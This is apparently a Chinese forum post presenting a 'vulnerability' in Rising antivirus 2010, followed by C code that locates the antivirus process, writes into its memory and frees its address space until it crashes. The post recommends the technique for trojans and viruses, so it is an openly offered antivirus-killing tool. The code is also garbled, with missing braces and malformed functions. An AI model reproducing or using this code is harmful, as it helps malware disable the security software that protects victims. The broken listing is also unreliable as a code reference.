瑞星2010年組合版最新漏洞

漏洞簡介：向瑞星記憶體位址不斷寫入代碼使其出錯退出，木馬病毒首選

測試代碼：

DWORD GetProcessIdFromName(LPCTSTR name)

{

PROCESSENTRY32 pe;

DWORD id = 0;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

pe.dwSize = sizeof(PROCESSENTRY32);

if( !Process32First(hSnapshot,&pe) )

return 0;

do

if( Process32Next(hSnapshot,&pe)==FALSE )

   break;

if(strcmp(pe.szExeFile,name) == 0)

   id = pe.th32ProcessID;

}

} while(1);

CloseHandle(hSnapshot);

return id;

DWORD GetProcessID(char *FileName)

HANDLE myhProcess;

PROCESSENTRY32 mype;

BOOL mybRet;

//進行程序快照

myhProcess=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//TH32CS_SNAPPROCESS快照所有程序

//開始程序查找

mybRet=Process32First(myhProcess,&mype);

//循環比較，得出ProcessID

while(mybRet)

if(strcmp(FileName,mype.szExeFile)==0)

return mype.th32ProcessID;

else

mybRet=Process32Next(myhProcess,&mype);

void killProcess(CString www ,LPCTSTR name,char *xyz)

   DWORD    nPid = 0;   

    HANDLE     hProcess;  

    DWORD    nExitCode = 0;

    DWORD    nAddress = 0x1000;

    nPid=GetProcessIdFromName(name);

    hProcess = OpenProcess (PROCESS_QUERY_INFORMATION |

PROCESS_VM_OPERATION, 0,nPid);

WriteProcessMemory(hProcess,(LPVOID)0x0047EB17,&nPid,1,NULL);    

    while ( nAddress <= 0x7FFFF000 )

    {

        GetExitCodeProcess(hProcess, &nExitCode);

        if (nExitCode != STILL_ACTIVE)

        {

            break;

        }

WriteProcessMemory(hProcess,(LPVOID)0x0047EB17,&nPid,1,NULL);

        VirtualFreeEx(hProcess, (LPVOID)nAddress, 0, 0x8000);

        nAddress += 0x1000;

    }